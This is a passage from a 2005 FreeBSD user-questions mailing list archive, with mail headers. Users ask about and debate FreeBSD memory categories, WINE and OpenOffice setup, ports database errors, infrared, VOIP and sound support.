use the inactive memory before dipping into swap? Or is that > > > > memory off limits now? If so, is there any way to free it up? I've > > > > got 1GB total on the machine. > > > > > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#TOP-FREEMEM > > -- > > Erik Trulsson > ertr1013@student.uu.se > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:42:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5D81F16A4CE for ; Tue, 8 Feb 2005 22:42:33 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6CEE243D48 for ; Tue, 8 Feb 2005 22:42:32 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j18MgV616577 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 16:42:31 -0600 (CST) (envelope-from john) Date: Tue, 8 Feb 2005 16:42:31 -0600 From: John To: freebsd-questions@freebsd.org Message-ID: <20050208164231.A16565@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Subject: Infrared link for FreeBSD? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:42:33 -0000 Does FreeBSD support the infrared link found in many laptops? I have searched the handbook and release notes, and haven't found any mention of it (at least the way I was searching), so I thought I'd give it one last try here. Thanks! -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 22:55:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AD39416A4CE for ; Tue, 8 Feb 2005 22:55:30 +0000 (GMT) Received: from pi.codefab.com (pi.codefab.com [199.103.21.227]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2B77F43D31 for ; Tue, 8 Feb 2005 22:55:30 +0000 (GMT) (envelope-from cswiger@mac.com) Received: from localhost (localhost [127.0.0.1]) by pi.codefab.com (Postfix) with ESMTP id 9D9F35E47; Tue, 8 Feb 2005 17:55:29 -0500 (EST) Received: from pi.codefab.com ([127.0.0.1]) by localhost (pi.codefab.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30373-01; Tue, 8 Feb 2005 17:55:28 -0500 (EST) Received: from [192.168.1.3] (pool-68-161-50-112.ny325.east.verizon.net [68.161.50.112]) by pi.codefab.com (Postfix) with ESMTP id 5F76F5E5E; Tue, 8 Feb 2005 17:55:27 -0500 (EST) Message-ID: <4209435E.5080302@mac.com> Date: Tue, 08 Feb 2005 17:55:26 -0500 From: Chuck Swiger Organization: The Courts of Chaos User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Erik Trulsson References: <810a540e050208133310333144@mail.gmail.com> <20050208213612.GA29063@falcon.midgard.homeip.net> <810a540e050208134479b4e774@mail.gmail.com> <20050208222759.GA29360@falcon.midgard.homeip.net> In-Reply-To: <20050208222759.GA29360@falcon.midgard.homeip.net> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at codefab.com cc: Pat Maddox cc: freebsd-questions@freebsd.org Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 22:55:30 -0000 Erik Trulsson wrote: > On Tue, Feb 08, 2005 at 02:44:39PM -0700, Pat Maddox wrote: > Memory normally moves along the following path: > > Wired -> Active -> Inactive -> Cached -> Free > > and then when it gets allocated and used it moves back to Wired. This is not exactly accurate: Active -> Inactive -> Free is better, with Wired and Cached being mostly seperate categories. > The difference between the categories is mainly that "Inactive" and > "Cached" memory still contains data that the system might be able to > reuse, while "Free" memory is completely free and unused. > In order to use Cached or Inactive memory it might need to be flushed > first, with Inactive probably being dirty and Cached probably not. > ("Active" memory is almost certainly dirty and is therefore somewhat > more expensive to reuse. Wired memory is typically the kernel text (executable code), any kernel modules which have been loaded, and dynamic kernel memory used for critical structures like the process table, descriptor table, VM page tables, which tend to be staticly allocated. The pager never touches these, they are always resident in RAM. More dynamic kernel data structures like the I/O buffer used for disk access, network buffers, and the like are also wired down, but the system will adjust the size and flush pages of data from open files and the like to disk depending on the situation. That pool of memory is the Cached category. The set of pages which have been accessed by processes "very recently" in the Active category. It includes dirty regions as well as program executable code (which are not dirty). -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 23:01:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D402216A4CE for ; Tue, 8 Feb 2005 23:01:20 +0000 (GMT) Received: from mail-relay4.mirrorimage.net (mail-relay4.mirrorimage.net [209.58.140.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6F17A43D41 for ; Tue, 8 Feb 2005 23:01:20 +0000 (GMT) (envelope-from FreeBSD@keyslapper.net) Received: from localhost (unknown [10.10.4.59]) by mail-relay4.mirrorimage.net (Postfix) with SMTP id 92E7169261 for ; Tue, 8 Feb 2005 18:01:19 -0500 (EST) Received: by localhost (sSMTP sendmail emulation); Tue, 8 Feb 2005 18:02:07 -0500 Date: Tue, 8 Feb 2005 18:02:07 -0500 From: Louis LeBlanc To: FreeBSD Questions Message-ID: <20050208230206.GA88486@keyslapper.net> Mail-Followup-To: FreeBSD Questions Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VbJkn9YxBvnuCH5J" Content-Disposition: inline X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.6i Subject: maybe slightly OT - web content management kits X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 23:01:20 -0000 --VbJkn9YxBvnuCH5J Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline I know this might be slightly OT, but I really only want to ask this question to those that use and maintain websites on FreeBSD anyway. So please overlook the OT post. I'm trying to find a good website management system. Content management. I'm running Apache 2.0 with (among others) mod_perl2, (perl 5.8.6) and Jakarta Tomcat 5.0. I don't have mod_php installed, and I'd just as soon not install it if I don't have to. If it's the best option, then I'll bite the bullet. I'd also like to stick with the server versions I already have installed. I've noticed slash in the ports, but it really wants Apache 1.3.x - as do many other similar apps in the ports. Many others I've found also want mod_php. What I'm asking for is recommendations from people who have used and/or maintained multiple such packages on FreeBSD, what they thought about them. Also, if anyone knows of any similar kits written in JSP, I'd be interested in checking them out. Finally, the server setup I have. I know I'm running pretty close to the bleeding edge, but are there any of these packages out there that are ok on Apache 2.0? Thanks in advance. Lou -- Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Send off-list email to: leblanc at keyslapper d.t net Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Did you know that if you took all the economists in the world and lined them up end to end, they'd still point in the wrong direction? --VbJkn9YxBvnuCH5J Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCUTur4Wi/oDI2aIRAiv+AJ9qn/B/tjIZb9k/+fJ2q3xLzm6PzQCaA14e 7d65SWo/NQYweQVdr3qzA5Q= =NlsU -----END PGP SIGNATURE----- --VbJkn9YxBvnuCH5J-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 23:11:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 96F5316A4CE for ; Tue, 8 Feb 2005 23:11:54 +0000 (GMT) Received: from smtp1.utdallas.edu (smtp1.utdallas.edu [129.110.10.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 68ABA43D31 for ; Tue, 8 Feb 2005 23:11:54 +0000 (GMT) (envelope-from pauls@utdallas.edu) Received: from utd49554 (utd49554.utdallas.edu [129.110.3.85]) by smtp1.utdallas.edu (Postfix) with ESMTP id D50ED388D65 for ; Tue, 8 Feb 2005 17:11:53 -0600 (CST) Date: Tue, 08 Feb 2005 17:11:53 -0600 From: Paul Schmehl To: freebsd-questions@freebsd.org Message-ID: <651E1ECD84826460FE1B349D@utd49554.utdallas.edu> X-Mailer: Mulberry/3.1.6 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: WTH? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Paul Schmehl List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 23:11:54 -0000 When I run pkgdb -F, I get this: pkgdb -F ---> Checking the package registry database Stale origin: '2005-01-30': perhaps moved or obsoleted. Skip this for now? [yes] To skip it without asking in future, please list it in HOLD_PKGS. pkg_info does not list any "port" named 2005-01-30. pkgdb -afF doesn't fix it and returns "Stale origin: '2005-01-30': perhaps moved or obsoleted". pkgdb -o "2005-01-30*" returns "?". How do I get rid of this other than listing it in HOLD_PKGS? Paul Schmehl (pauls@utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 23:26:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4BC9816A4CE for ; Tue, 8 Feb 2005 23:26:52 +0000 (GMT) Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0298E43D46 for ; Tue, 8 Feb 2005 23:26:52 +0000 (GMT) (envelope-from rsh.lists@comcast.net) Received: from [192.168.1.11] (tardiss.ne.client2.attbi.com[66.30.82.93]) by comcast.net (rwcrmhc13) with ESMTP id <2005020823265101500o7e0qe>; Tue, 8 Feb 2005 23:26:51 +0000 Message-ID: <42094AA2.5020903@comcast.net> Date: Tue, 08 Feb 2005 18:26:26 -0500 From: Sean User-Agent: Mozilla Thunderbird 1.0 (X11/20050201) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: VOIP X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: rsh.lists@comcast.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 23:26:52 -0000 All, Can anyone recommend a VOIP software package that will run on an AMD64 in 64 bit mode? Thanks Sean From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 23:48:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D8B2D16A4CE for ; Tue, 8 Feb 2005 23:48:13 +0000 (GMT) Received: from sage.thought.org (dsl231-043-140.sea1.dsl.speakeasy.net [216.231.43.140]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2563E43D53 for ; Tue, 8 Feb 2005 23:48:13 +0000 (GMT) (envelope-from kline@tao.thought.org) Received: from thought.org (tao [10.0.0.247]) by sage.thought.org (8.13.1/8.12.10) with ESMTP id j18NmBcZ020219 for ; Tue, 8 Feb 2005 15:48:12 -0800 (PST) (envelope-from kline@tao.thought.org) Received: from tao.thought.org (localhost [127.0.0.1]) by thought.org (8.12.11/8.12.11) with ESMTP id j18NmAVH064644 for ; Tue, 8 Feb 2005 15:48:10 -0800 (PST) (envelope-from kline@tao.thought.org) Received: (from kline@localhost) by tao.thought.org (8.12.11/8.12.11/Submit) id j18NmAm6064643 for freebsd-questions@FreeBSD.ORG; Tue, 8 Feb 2005 15:48:10 -0800 (PST) (envelope-from kline) Date: Tue, 8 Feb 2005 15:48:10 -0800 From: Gary Kline To: FreeBSD Mailing List Message-ID: <20050208234809.GA64598@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 18 years of service to the Unix community User-Agent: Mutt/1.5.6i Subject: is there a cheat-sheet for WINE? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 23:48:14 -0000 Folks, The sh tools/wineinstall did an incomplete job. I have ~/.wine/config i nstalled, but I'm missing something because runnning wine or wine --help yields: fixme:file:get_default_drive_device auto detection of DOS devices not supported on this platform Warning: the specified Windows directory L"c:\\windows" is not accessible. Warning: the specified System directory L"c:\\windows\\system" is not accessible. Warning: could not find DOS drive for current working directory '/usr/ports/emulators/wine/work/wine-20050111/tools', starting in the Windows directory. Wine 20050111 Usage: wine PROGRAM [ARGUMENTS...] Run the specified program wine --help Display this help and exit wine --version Output version information and exit Yes,I'm running 5.3. The docs and the wineHQ seem to be a bit dated, altho it's probably *me*. Oh: in /etc/fstab I have /dev/acd0 /cdrom cd9660 ro,noauto,users,unhide 0 0 so be able to use my CDROM drive for card games, etc. Is the ",users,unhide" string going to break things? thanks for an clues! gary - Gary Kline kline@thought.org www.thought.org Public service Unix From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 23:48:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A005E16A4CE for ; Tue, 8 Feb 2005 23:48:42 +0000 (GMT) Received: from ctb-mesg1.saix.net (ctb-mesg1.saix.net [196.25.240.73]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1093643D39 for ; Tue, 8 Feb 2005 23:48:40 +0000 (GMT) (envelope-from savage@savage.za.org) Received: from netsphere.cenergynetworks.com (wblv-146-208-196.telkomadsl.co.za [165.146.208.196]) by ctb-mesg1.saix.net (Postfix) with ESMTP id 739B054DF for ; Wed, 9 Feb 2005 01:48:37 +0200 (SAST) Received: from pmx.ournet.co.za ([198.19.0.73] helo=netsphere.cenergynetworks.com) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1Cyf5w-000MSL-sW for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 01:48:37 +0200 Received: from [192.168.1.10] (helo=netphobia) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1Cyf5w-000MSH-qN for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 01:48:36 +0200 Message-ID: <004901c50e38$ea4958c0$0a01a8c0@ops.cenergynetworks.com> From: "Chris Knipe" To: Date: Wed, 9 Feb 2005 01:50:06 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Broken-Reverse-DNS: 192.168.1.10 X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.2.0, Antispam-Data: 2005.2.8.1 Subject: php4-extentions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chris Knipe List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 23:48:42 -0000 ===> Vulnerability check disabled, database not found ===> Found saved configuration for php4-extensions-1.0 ===> Extracting for php4-extensions-1.0 Where's the configuration saved? I need to reconfigure it.. -- Chris. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 23:58:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C906016A4CE for ; Tue, 8 Feb 2005 23:58:36 +0000 (GMT) Received: from mail.aseed.antenna.nl (aseed.demon.nl [83.160.138.119]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4AF7243D49 for ; Tue, 8 Feb 2005 23:58:36 +0000 (GMT) (envelope-from albi@scii.nl) Received: from http.aseed.antenna.nl (unknown [192.168.0.50]) by mail.aseed.antenna.nl (Postfix) with ESMTP id DABBE154395 for ; Wed, 9 Feb 2005 00:59:45 +0100 (CET) Received: from [192.168.0.111] (82-197-198-30.dsl.cambrium.nl [82.197.198.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by http.aseed.antenna.nl (Postfix) with ESMTP id 4F7D637022 for ; Wed, 9 Feb 2005 00:58:39 +0100 (CET) Message-ID: <42095227.7060008@scii.nl> Date: Wed, 09 Feb 2005 00:58:31 +0100 From: albi User-Agent: Mozilla Thunderbird 1.0 (X11/20050123) X-Accept-Language: en-us, en MIME-Version: 1.0 To: FreeBSD Mailing List References: <20050208234809.GA64598@thought.org> In-Reply-To: <20050208234809.GA64598@thought.org> X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: is there a cheat-sheet for WINE? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 23:58:36 -0000 Gary Kline wrote: > The sh tools/wineinstall did an incomplete job. I have > ~/.wine/config i nstalled, but I'm missing something because > runnning wine or wine --help yields: > > > fixme:file:get_default_drive_device auto detection of DOS devices not > supported on this platform > Warning: the specified Windows directory L"c:\\windows" is not > accessible. a few weeks ago i tried wine (and linux-winetools) from the ports in 5.3 and it worked pretty well (testing filezilla for windows-users) in linux there's usually the winesetup tool, but this was (not available and) not needed at all i would install wine from ports and do a rm -rf ~/.wine and try again From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 00:09:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E129016A4CE for ; Wed, 9 Feb 2005 00:09:23 +0000 (GMT) Received: from av7-1-sn1.fre.skanova.net (av7-1-sn1.fre.skanova.net [81.228.11.113]) by mx1.FreeBSD.org (Postfix) with ESMTP id 76EE143D53 for ; Wed, 9 Feb 2005 00:09:22 +0000 (GMT) (envelope-from ertr1013@student.uu.se) Received: by av7-1-sn1.fre.skanova.net (Postfix, from userid 502) id 4E3E637E4B; Wed, 9 Feb 2005 01:09:21 +0100 (CET) Received: from smtp2-1-sn2.hy.skanova.net (smtp2-1-sn2.hy.skanova.net [81.228.8.177]) by av7-1-sn1.fre.skanova.net (Postfix) with ESMTP id 3D74537E49 for ; Wed, 9 Feb 2005 01:09:21 +0100 (CET) Received: from falcon.midgard.homeip.net (h201n1fls24o1048.bredband.comhem.se [212.181.162.201]) by smtp2-1-sn2.hy.skanova.net (Postfix) with SMTP id C1BF237E47 for ; Wed, 9 Feb 2005 01:09:20 +0100 (CET) Received: (qmail 56062 invoked by uid 1001); 9 Feb 2005 00:09:20 -0000 Date: Wed, 9 Feb 2005 01:09:20 +0100 From: Erik Trulsson To: Chuck Swiger Message-ID: <20050209000919.GA56002@falcon.midgard.homeip.net> Mail-Followup-To: Chuck Swiger , Pat Maddox , freebsd-questions@freebsd.org References: <810a540e050208133310333144@mail.gmail.com> <20050208213612.GA29063@falcon.midgard.homeip.net> <810a540e050208134479b4e774@mail.gmail.com> <20050208222759.GA29360@falcon.midgard.homeip.net> <4209435E.5080302@mac.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4209435E.5080302@mac.com> User-Agent: Mutt/1.5.6i cc: Pat Maddox cc: freebsd-questions@freebsd.org Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 00:09:24 -0000 On Tue, Feb 08, 2005 at 05:55:26PM -0500, Chuck Swiger wrote: > Erik Trulsson wrote: > >On Tue, Feb 08, 2005 at 02:44:39PM -0700, Pat Maddox wrote: > >Memory normally moves along the following path: > > > >Wired -> Active -> Inactive -> Cached -> Free > > > >and then when it gets allocated and used it moves back to Wired. > > This is not exactly accurate: Active -> Inactive -> Free is better, with > Wired and Cached being mostly seperate categories. Active -> Inactive -> Cached -> Free is correct as far as I can tell. Wired might be separate, I am not 100% sure what goes there. > > >The difference between the categories is mainly that "Inactive" and > >"Cached" memory still contains data that the system might be able to > >reuse, while "Free" memory is completely free and unused. > >In order to use Cached or Inactive memory it might need to be flushed > >first, with Inactive probably being dirty and Cached probably not. > >("Active" memory is almost certainly dirty and is therefore somewhat > >more expensive to reuse. > > Wired memory is typically the kernel text (executable code), any kernel > modules which have been loaded, and dynamic kernel memory used for critical > structures like the process table, descriptor table, VM page tables, which > tend to be staticly allocated. The pager never touches these, they are > always resident in RAM. Considering that the amount of memory in the "Wired" state tends to vary quite a bit as the system runs it is certainly not all statically allocated. (On my system "Wired" memory is usually about 15MB right after booting, can go as high as 40MB, but usually hovers around 30 MB, and almost never goes below 25MB after the system has been in use for some time.) > > More dynamic kernel data structures like the I/O buffer used for disk > access, network buffers, and the like are also wired down, but the system > will adjust the size and flush pages of data from open files and the like > to disk depending on the situation. That pool of memory is the Cached > category. No, that is not Cached memory. It might be "Buffered", but I am not sure exactly what goes in that category (it is however the only category whose size do not fluctuate as time passes.) > > The set of pages which have been accessed by processes "very recently" in > the Active category. It includes dirty regions as well as program > executable code (which are not dirty). True. I based my explanation on the documents found at http://www.freebsd.org/doc/en_US.ISO8859-1/books/arch-handbook/vm.html and at http://www.daemonnews.org/200001/freebsd_vm.html -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 00:09:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6804416A4CE for ; Wed, 9 Feb 2005 00:09:45 +0000 (GMT) Received: from lakermmtao01.cox.net (lakermmtao01.cox.net [68.230.240.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id D034A43D39 for ; Wed, 9 Feb 2005 00:09:44 +0000 (GMT) (envelope-from nedsmailbox2@cox.net) Received: from ip68-13-42-191.om.om.cox.net ([68.13.42.191]) by lakermmtao01.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with ESMTP <20050209000942.YZBB11542.lakermmtao01.cox.net@ip68-13-42-191.om.om.cox.net> for ; Tue, 8 Feb 2005 19:09:42 -0500 From: Ned Harrison To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 18:14:25 +0000 User-Agent: KMail/1.7.2 References: <200502061703.55089.nedsmailbox2@cox.net> <200502062326.36775.nbco@screaming.net> In-Reply-To: <200502062326.36775.nbco@screaming.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502081814.26662.nedsmailbox2@cox.net> Subject: Re: Openoffice startup question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 00:09:45 -0000 On Sunday 06 February 2005 11:26 pm, nbco wrote: > On Sunday 06 February 2005 17:03, Ned Harrison wrote: > > > > However, the initiall set up instructions don't seam to work. When I > > type "openoffice", I get "Command not found" for a response. It > > doesn't matter whether I enter the command as an ordinary user or as > > root. This is true even when I move to /usr/local/bin where there > > are several openoffice files. > > Hi there, > Go to: > /usr/local/OpenOffice.org1.1.4 > > then enter the command (as root) > ./spadmin > > hope this helps > .nbco Sorry for the delay. I didn't have time to work on this yesterday. Thanks for the hints though. I'm getting an error message now. So the program is responding. Here is the error message. /usr/libexec/ld-elf.so.1: Shared object "libc.so.6" not found, required by "javaldx" /usr/libexec/ld-elf.so.1: Shared object "libc.so.6" not found, required by "pagein" /usr/libexec/ld-elf.so.1: Shared object "libc.so.6" not found, required by "spadmin.bin" I also get the same message typing out the path and command "soffice." Which another posting suggested that I try. I didn't see "libc.so.6" as either a package or in the ports tree but it looked familiar. So I used the find command on the name "libc.so*" and pulled up this reference: /usr/compat/linux/lib/libc.so.6 I guess that I need to do something to link openoffice to this. The next questions are Where and How? Thanks for your assistance. Ned. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 00:11:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D1E1516A4CF for ; Wed, 9 Feb 2005 00:11:32 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 43F8443D53 for ; Wed, 9 Feb 2005 00:11:32 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id F1BEFC0D4 for ; Tue, 8 Feb 2005 19:11:33 -0500 (EST) From: Ean Kingston To: "freebsd-questions" Date: Tue, 8 Feb 2005 19:11:33 -0500 User-Agent: KMail/1.7.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502081911.33486.ean@hedron.org> Subject: Help to get Sound functioning on FreeBSD 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 00:11:33 -0000 Hi, I've been having problems getting sound to work on FreeBSD 5.3. It worked find on 4.10 (before the upgrade) using the new sound system. I've googled for answers. I when through the Handbook section on setting up the sound system twice to make sure I got everything right. The 5.3 install is a new install from CD, then source cvsup and the usual make/build world/kernel to install the system. It is an SMP system. Here is the relevant part of dmesg : pcm0: port 0xb800-0xb83f irq 19 at device 9.0 on pci0 Here is what sndstat says: $ cat /dev/sndstat FreeBSD Audio Driver (newpcm) Installed devices: pcm0: at io 0xb800 irq 19 kld snd_es137x (1p/1r/2v channelsduplex default) Any suggestions on a simple command line tool to test the sound system out? I'm using KDE (installed with base system). I noticed that artswrapper is not completely up-to-date so I am going to update all relevant parts of KDE to get it up to date for testing. -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 00:30:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EB8D016A4CE for ; Wed, 9 Feb 2005 00:30:42 +0000 (GMT) Received: from spatula.dreamhost.com (spatula.dreamhost.com [66.33.205.9]) by mx1.FreeBSD.org (Postfix) with ESMTP id C6BB543D41 for ; Wed, 9 Feb 2005 00:30:42 +0000 (GMT) (envelope-from lists@tntluoma.com) Received: from [68.243.168.53] (016-030-684.area7.spcsdns.net [68.243.168.53]) by spatula.dreamhost.com (Postfix) with ESMTP id C180517D02B; Tue, 8 Feb 2005 16:30:35 -0800 (PST) Mime-Version: 1.0 X-Mailer: SnapperMail 2.2.2.01 by Snapperfish, www.snappermail.com To: "John" , Message-ID: <5704-SnapperMsgD246FC56BE2F0A32@[68.243.168.53]> In-Reply-To: <20050208164231.A16565@starfire.mn.org> References: <20050208164231.A16565@starfire.mn.org> From: "Timothy J. Luoma" Date: Tue, 08 Feb 2005 19:30:32 -0500 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Subject: Re: Infrared link for FreeBSD? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 00:30:43 -0000 ...... Original Message ....... On Tue, 8 Feb 2005 16:42:31 -0600 "John" wrote: >Does FreeBSD support the infrared link found in many laptops? I believe the tech. name is IrDA although my cApS may be off. TjL From owner-freebsd-questions@FreeBSD.ORG 